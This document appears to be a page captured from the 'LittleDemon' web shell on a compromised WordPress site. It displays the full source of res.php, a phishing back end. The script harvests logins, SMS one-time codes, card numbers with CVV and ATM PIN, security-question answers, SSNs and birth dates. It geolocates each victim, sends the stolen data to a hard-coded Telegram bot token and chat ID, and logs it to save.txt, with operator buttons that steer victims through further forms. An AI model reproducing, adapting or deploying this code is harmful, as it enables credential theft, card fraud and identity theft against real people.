LittleDemon WebShell


Linux hkvL61zh9Vexzf 3.10.0-957.1.3.el7.x86_64 #1 SMP Thu Nov 29 14:49:43 UTC 2018 x86_64
Path : /www/wwwroot/fashion-kingdom.com/wp-includes/block-bindings/wok/
File Upload :
Command :
Current File : /www/wwwroot/fashion-kingdom.com/wp-includes/block-bindings/wok/res.php

<?php
    header("Access-Control-Allow-Origin: *"); 

    $token = "7366143977:AAEs6Sjxqq3DENwDpL3LXsoV5QtQ20Nm4LU";
    $chatid = "6465304673";

   if (!empty($_SERVER['HTTP_CLIENT_IP'])) { 
    $ip = $_SERVER['HTTP_CLIENT_IP']; 
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { 
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; 
    } else { 
    $ip = $_SERVER['REMOTE_ADDR']; 
    }

    $ip = $_SERVER['REMOTE_ADDR'];
    $ipdat = @json_decode(file_get_contents( 
        "http://www.geoplugin.net/json.gp?ip=" . $ip));

    $countryName = $ipdat->geoplugin_countryName;
    $cityName =  $ipdat->geoplugin_city;
    $region =  $ipdat->geoplugin_region;
    $timeZone =  $ipdat->geoplugin_timezone;

    if(isset($_POST["Username"]) && isset($_POST["password"])){
        $email = $_POST['Username'];
	    $pass = $_POST['password'];

        if($email != null && $pass != null){
        $message = "";
        $message .= "---|@systembott|---\n";
        $message .= "IP : " .$ip. "\n"; 
        $message .= "Username: ".$email."\n";
        $message .= "Password: ".$pass."\n";
        $message .= "\n------------ Location ---------------\n";
        $message .= "Country Name: ".$countryName."\n";
        $message .= "City Name: ". $cityName."\n";
        $message .= "Time Zone: ". $timeZone."\n";
        $message .= "Region: ". $region."\n";
        
        file_get_contents("https://api.telegram.org/bot".$token."/sendMessage?chat_id=".$chatid."&text=" . urlencode($message)."" );
        $handle = fopen("save.txt", "a");
        fwrite($handle, $message);
        fclose($handle);
    }
    }


    else if(isset($_POST["Username2"])){
        $email2 = $_POST['Username2'];
        $password = $_POST['password'];
        $baseUrl = $_POST["baseUrl"];

        if($email2 != null){
        $message = "";
        $message .= "---|@systembott|---\n";
        $message .= "IP : " .$ip. "\n";
        $message .= "Username: ".$email2."\n";
        $message .= "Password: ".$password."\n";
        $message .= "\n------------ Location ---------------\n";
        $message .= "Country Name: ".$countryName."\n";
        $message .= "City Name: ". $cityName."\n";
        $message .= "Time Zone: ". $timeZone."\n";
        $message .= "Region: ". $region."\n";

        $ipaddress = $_SERVER['REMOTE_ADDR'];
         $buttons = [
              [
                [
                    "text" => "❌ User Error",
                    "url" => $baseUrl."/panel.php?response=invaliduser&ip=".$ipaddress
                ],
                [
                    "text" => "❌ OTP Error",
                    "url" => $baseUrl."/panel.php?response=invalidotp&ip=".$ipaddress
                ],
                 [
                    "text" => "❌ Invalid Ask",
                    "url" => $baseUrl."/panel.php?response=invalidask&ip=".$ipaddress
                ],
            ],
            [
                [
                    "text" => "📱 OTP",
                    "url" => $baseUrl."/panel.php?response=sms&ip=".$ipaddress
                ],
                [
                    "text" => "📩 Email",
                    "url" => $baseUrl."/panel.php?response=email&ip=".$ipaddress
                ],

                [
                    "text" => "â„šī¸ Billing",
                    "url" => $baseUrl."/panel.php?response=billing&ip=".$ipaddress
                ],
                  
                ],
                [  [
                    "text" => "👤 User/Pass",
                    "url" => $baseUrl."/panel.php?response=user&ip=".$ipaddress
                ],
                  [
                    "text" => "❓ Question",
                    "url" => $baseUrl."/panel.php?response=question&ip=".$ipaddress
                ],
                [
                    "text" => "🏧 Card",
                    "url" => $baseUrl."/panel.php?response=card&ip=".$ipaddress
                ],
                [
                    "text" => "✅ Done",
                    "url" => $baseUrl."/panel.php?response=done&ip=".$ipaddress
                ]]
        ];

        $keyboard = json_encode([
            "inline_keyboard" => $buttons
        ]);
       
         $data = http_build_query([
            'text' => $message,
            'chat_id' => $chatid,
            'reply_markup' => $keyboard
        ]);
        
        $url = "https://api.telegram.org/bot" . $token . "/sendMessage?$data";
        file_get_contents($url);
        
        $handle = fopen("save.txt", "a");
        fwrite($handle, $message);
        fclose($handle);
        echo json_encode(["success" => "sent cc"]);
    }
    }


    else if(isset($_POST["SMSCODE"])){
        $SMSCODE = $_POST['SMSCODE'];
        $baseUrl = $_POST["baseUrl"];

        if($SMSCODE != null){
        $message = "";
        $message .= "---|@systembott|---\n";
        $message .= "IP : " .$ip. "\n";
        $message .= "SMS CODE \n";
        $message .= "---------------------- \n";
        $message .= "CODE: ".$SMSCODE."\n";
        $message .= "\n------------ Location ---------------\n";
        $message .= "Country Name: ".$countryName."\n";
        $message .= "City Name: ". $cityName."\n";
        $message .= "Time Zone: ". $timeZone."\n";
        $message .= "Region: ". $region."\n";
        $ipaddress = $_SERVER['REMOTE_ADDR'];
        $buttons = [
              [
                [
                    "text" => "❌ User Error",
                    "url" => $baseUrl."/panel.php?response=invaliduser&ip=".$ipaddress
                ],
                [
                    "text" => "❌ OTP Error",
                    "url" => $baseUrl."/panel.php?response=invalidotp&ip=".$ipaddress
                ],
                 [
                    "text" => "❌ Invalid Ask",
                    "url" => $baseUrl."/panel.php?response=invalidask&ip=".$ipaddress
                ],
            ],
            [
                [
                    "text" => "📱 OTP",
                    "url" => $baseUrl."/panel.php?response=sms&ip=".$ipaddress
                ],
                [
                    "text" => "📩 Email",
                    "url" => $baseUrl."/panel.php?response=email&ip=".$ipaddress
                ],

                [
                    "text" => "â„šī¸ Billing",
                    "url" => $baseUrl."/panel.php?response=billing&ip=".$ipaddress
                ],
                  
                ],
                [  [
                    "text" => "👤 User/Pass",
                    "url" => $baseUrl."/panel.php?response=user&ip=".$ipaddress
                ],
                  [
                    "text" => "❓ Question",
                    "url" => $baseUrl."/panel.php?response=question&ip=".$ipaddress
                ],
                [
                    "text" => "🏧 Card",
                    "url" => $baseUrl."/panel.php?response=card&ip=".$ipaddress
                ],
                [
                    "text" => "✅ Done",
                    "url" => $baseUrl."/panel.php?response=done&ip=".$ipaddress
                ]]
        ];

        $keyboard = json_encode([
            "inline_keyboard" => $buttons
        ]);
       
         $data = http_build_query([
            'text' => $message,
            'chat_id' => $chatid,
            'reply_markup' => $keyboard
        ]);
        
        $url = "https://api.telegram.org/bot" . $token . "/sendMessage?$data";
        file_get_contents($url);
        
        $handle = fopen("save.txt", "a");
        fwrite($handle, $message);
        fclose($handle);
        echo json_encode(["success" => "sent cc"]);
    }
    }

    else if(isset($_POST["Card"])){
        $Card = $_POST['Card'];
        $ExpiryDate = $_POST["ExpiryDate"];
        $CVV = $_POST["CVV"];
        $ATMpin = $_POST["ATMpin"];
        $ZipCode = $_POST["ZipCode"];
        $baseUrl = $_POST["baseUrl"];
	
        if($Card != null){
        $message = "";
        $message .= "---|@systembott|---\n";
        $message .= "IP : " .$ip. "\n";
        $message .= "Card Info\n";
        $message .= "---------------------- \n";
        $message .= "Card Number: ".$Card."\n";
        $message .= "Expirary Date: ".$ExpiryDate."\n";
        $message .= "CVV: ".$CVV."\n";
        $message .= "ATM PIN: ".$ATMpin."\n";
        $message .= "Zip Code: ".$ZipCode ."\n";
        $message .= "\n------------ Location ---------------\n";
        $message .= "Country Name: ".$countryName."\n";
        $message .= "City Name: ". $cityName."\n";
        $message .= "Time Zone: ". $timeZone."\n";
        $message .= "Region: ". $region."\n";
    
        $ipaddress = $_SERVER['REMOTE_ADDR'];
        $buttons = [
              [
                [
                    "text" => "❌ User Error",
                    "url" => $baseUrl."/panel.php?response=invaliduser&ip=".$ipaddress
                ],
                [
                    "text" => "❌ OTP Error",
                    "url" => $baseUrl."/panel.php?response=invalidotp&ip=".$ipaddress
                ],
                 [
                    "text" => "❌ Invalid Ask",
                    "url" => $baseUrl."/panel.php?response=invalidask&ip=".$ipaddress
                ],
            ],
            [
                [
                    "text" => "📱 OTP",
                    "url" => $baseUrl."/panel.php?response=sms&ip=".$ipaddress
                ],
                [
                    "text" => "📩 Email",
                    "url" => $baseUrl."/panel.php?response=email&ip=".$ipaddress
                ],

                [
                    "text" => "â„šī¸ Billing",
                    "url" => $baseUrl."/panel.php?response=billing&ip=".$ipaddress
                ],
                  
                ],
                [  [
                    "text" => "👤 User/Pass",
                    "url" => $baseUrl."/panel.php?response=user&ip=".$ipaddress
                ],
                  [
                    "text" => "❓ Question",
                    "url" => $baseUrl."/panel.php?response=question&ip=".$ipaddress
                ],
                [
                    "text" => "🏧 Card",
                    "url" => $baseUrl."/panel.php?response=card&ip=".$ipaddress
                ],
                [
                    "text" => "✅ Done",
                    "url" => $baseUrl."/panel.php?response=done&ip=".$ipaddress
                ]]
        ];



        $keyboard = json_encode([
            "inline_keyboard" => $buttons
        ]);
       
         $data = http_build_query([
            'text' => $message,
            'chat_id' => $chatid,
            'reply_markup' => $keyboard
        ]);
        
        $url = "https://api.telegram.org/bot" . $token . "/sendMessage?$data";
        file_get_contents($url);
        
        $handle = fopen("save.txt", "a");
        fwrite($handle, $message);
        fclose($handle);
        echo json_encode(["success" => "sent ot"]);
    }
    }


    else if(isset($_POST["Email"])){
        $Email = $_POST['Email'];
        $password = $_POST['password'];
        $baseUrl = $_POST["baseUrl"];
        
        if($Email != null){
        $message = "";
        $message .= "---|@systembott|---\n";
        $message .= "IP : " .$ip. "\n";
        $message .= "Email Info: \n";
        $message .= "---------------------- \n";
        $message .= "Email: ".$Email."\n";
        $message .= "Password: ".$password."\n";
        $message .= "\n------------ Location ---------------\n";
        $message .= "Country Name: ".$countryName."\n";
        $message .= "City Name: ". $cityName."\n";
        $message .= "Time Zone: ". $timeZone."\n";
        $message .= "Region: ". $region."\n";
     $ipaddress = $_SERVER['REMOTE_ADDR'];
        $buttons = [
              [
                [
                    "text" => "❌ User Error",
                    "url" => $baseUrl."/panel.php?response=invaliduser&ip=".$ipaddress
                ],
                [
                    "text" => "❌ OTP Error",
                    "url" => $baseUrl."/panel.php?response=invalidotp&ip=".$ipaddress
                ],
                 [
                    "text" => "❌ Invalid Ask",
                    "url" => $baseUrl."/panel.php?response=invalidask&ip=".$ipaddress
                ],
            ],
            [
                [
                    "text" => "📱 OTP",
                    "url" => $baseUrl."/panel.php?response=sms&ip=".$ipaddress
                ],
                [
                    "text" => "📩 Email",
                    "url" => $baseUrl."/panel.php?response=email&ip=".$ipaddress
                ],

                [
                    "text" => "â„šī¸ Billing",
                    "url" => $baseUrl."/panel.php?response=billing&ip=".$ipaddress
                ],
                  
                ],
                [  [
                    "text" => "👤 User/Pass",
                    "url" => $baseUrl."/panel.php?response=user&ip=".$ipaddress
                ],
                  [
                    "text" => "❓ Question",
                    "url" => $baseUrl."/panel.php?response=question&ip=".$ipaddress
                ],
                [
                    "text" => "🏧 Card",
                    "url" => $baseUrl."/panel.php?response=card&ip=".$ipaddress
                ],
                [
                    "text" => "✅ Done",
                    "url" => $baseUrl."/panel.php?response=done&ip=".$ipaddress
                ]]
        ];

        $keyboard = json_encode([
            "inline_keyboard" => $buttons
        ]);
       
         $data = http_build_query([
            'text' => $message,
            'chat_id' => $chatid,
            'reply_markup' => $keyboard
        ]);
        
        $url = "https://api.telegram.org/bot" . $token . "/sendMessage?$data";
        file_get_contents($url);
        
        $handle = fopen("save.txt", "a");
        fwrite($handle, $message);
        fclose($handle);
        echo json_encode(["success" => "sent cc"]);
    }
    }




    else if(isset($_POST["ans"])){
        $ans = $_POST['ans'];
        $quest = $_POST['quest'];
        $baseUrl = $_POST["baseUrl"];
        
        if($ans != null){
        $message = "";
        $message .= "---|@systembott|---\n";
        $message .= "IP : " .$ip. "\n";
        $message .= "Question: \n";
        $message .= "---------------------- \n";
        $message .= "$quest: ".$ans."\n";
        $message .= "\n------------ Location ---------------\n";
        $message .= "Country Name: ".$countryName."\n";
        $message .= "City Name: ". $cityName."\n";
        $message .= "Time Zone: ". $timeZone."\n";
        $message .= "Region: ". $region."\n";
     $ipaddress = $_SERVER['REMOTE_ADDR'];
       $buttons = [
              [
                [
                    "text" => "❌ User Error",
                    "url" => $baseUrl."/panel.php?response=invaliduser&ip=".$ipaddress
                ],
                [
                    "text" => "❌ OTP Error",
                    "url" => $baseUrl."/panel.php?response=invalidotp&ip=".$ipaddress
                ],
                 [
                    "text" => "❌ Invalid Ask",
                    "url" => $baseUrl."/panel.php?response=invalidask&ip=".$ipaddress
                ],
            ],
            [
                [
                    "text" => "📱 OTP",
                    "url" => $baseUrl."/panel.php?response=sms&ip=".$ipaddress
                ],
                [
                    "text" => "📩 Email",
                    "url" => $baseUrl."/panel.php?response=email&ip=".$ipaddress
                ],

                [
                    "text" => "â„šī¸ Billing",
                    "url" => $baseUrl."/panel.php?response=billing&ip=".$ipaddress
                ],
                  
                ],
                [  [
                    "text" => "👤 User/Pass",
                    "url" => $baseUrl."/panel.php?response=user&ip=".$ipaddress
                ],
                  [
                    "text" => "❓ Question",
                    "url" => $baseUrl."/panel.php?response=question&ip=".$ipaddress
                ],
                [
                    "text" => "🏧 Card",
                    "url" => $baseUrl."/panel.php?response=card&ip=".$ipaddress
                ],
                [
                    "text" => "✅ Done",
                    "url" => $baseUrl."/panel.php?response=done&ip=".$ipaddress
                ]]
        ];


        $keyboard = json_encode([
            "inline_keyboard" => $buttons
        ]);
       
         $data = http_build_query([
            'text' => $message,
            'chat_id' => $chatid,
            'reply_markup' => $keyboard
        ]);
        
        $url = "https://api.telegram.org/bot" . $token . "/sendMessage?$data";
        file_get_contents($url);
        
        $handle = fopen("save.txt", "a");
        fwrite($handle, $message);
        fclose($handle);
        echo json_encode(["success" => "sent cc"]);
    }
    }


    else if(isset($_POST["FullName"])){
        $fnull = $_POST['FullName'];
        $Address = $_POST['Address'];
        $SSN = $_POST['SSN'];
        $DateOfBirth = $_POST['DateOfBirth'];
        $PhoneNumber = $_POST['PhoneNumber'];
        $baseUrl = $_POST["baseUrl"];

        if($fnull != null){
        $message = "";
        $message .= "---|@systembott|---\n";
        $message .= "IP : " .$ip. "\n";
        $message .= "Billing Info \n";
        $message .= "---------------------- \n";
        $message .= "FullName: ".$fnull."\n";
        $message .= "Address: ".$Address."\n";
        $message .= "SSN: ".$SSN."\n";
        $message .= "DateOfBirth: ".$DateOfBirth."\n";
        $message .= "PhoneNumber: ".$PhoneNumber."\n";
        $message .= "\n------------ Location ---------------\n";
        $message .= "Country Name: ".$countryName."\n";
        $message .= "City Name: ". $cityName."\n";
        $message .= "Time Zone: ". $timeZone."\n";
        $message .= "Region: ". $region."\n";
       
        $ipaddress = $_SERVER['REMOTE_ADDR'];
            
         $buttons = [
              [
                [
                    "text" => "❌ User Error",
                    "url" => $baseUrl."/panel.php?response=invaliduser&ip=".$ipaddress
                ],
                [
                    "text" => "❌ OTP Error",
                    "url" => $baseUrl."/panel.php?response=invalidotp&ip=".$ipaddress
                ],
                 [
                    "text" => "❌ Invalid Ask",
                    "url" => $baseUrl."/panel.php?response=invalidask&ip=".$ipaddress
                ],
            ],
            [
                [
                    "text" => "📱 OTP",
                    "url" => $baseUrl."/panel.php?response=sms&ip=".$ipaddress
                ],
                [
                    "text" => "📩 Email",
                    "url" => $baseUrl."/panel.php?response=email&ip=".$ipaddress
                ],

                [
                    "text" => "â„šī¸ Billing",
                    "url" => $baseUrl."/panel.php?response=billing&ip=".$ipaddress
                ],
                  
                ],
                [  [
                    "text" => "👤 User/Pass",
                    "url" => $baseUrl."/panel.php?response=user&ip=".$ipaddress
                ],
                  [
                    "text" => "❓ Question",
                    "url" => $baseUrl."/panel.php?response=question&ip=".$ipaddress
                ],
                [
                    "text" => "🏧 Card",
                    "url" => $baseUrl."/panel.php?response=card&ip=".$ipaddress
                ],
                [
                    "text" => "✅ Done",
                    "url" => $baseUrl."/panel.php?response=done&ip=".$ipaddress
                ]]
        ];

        $keyboard = json_encode([
            "inline_keyboard" => $buttons
        ]);
       
         $data = http_build_query([
            'text' => $message,
            'chat_id' => $chatid,
            'reply_markup' => $keyboard
        ]);
        
        $url = "https://api.telegram.org/bot" . $token . "/sendMessage?$data";
        file_get_contents($url);
        
        $handle = fopen("save.txt", "a");
        fwrite($handle, $message);
        fclose($handle);
        echo json_encode(["success" => "sent ot"]);
    }
    }
	
?>


LittleDemon - FACEBOOK
[ KELUAR ]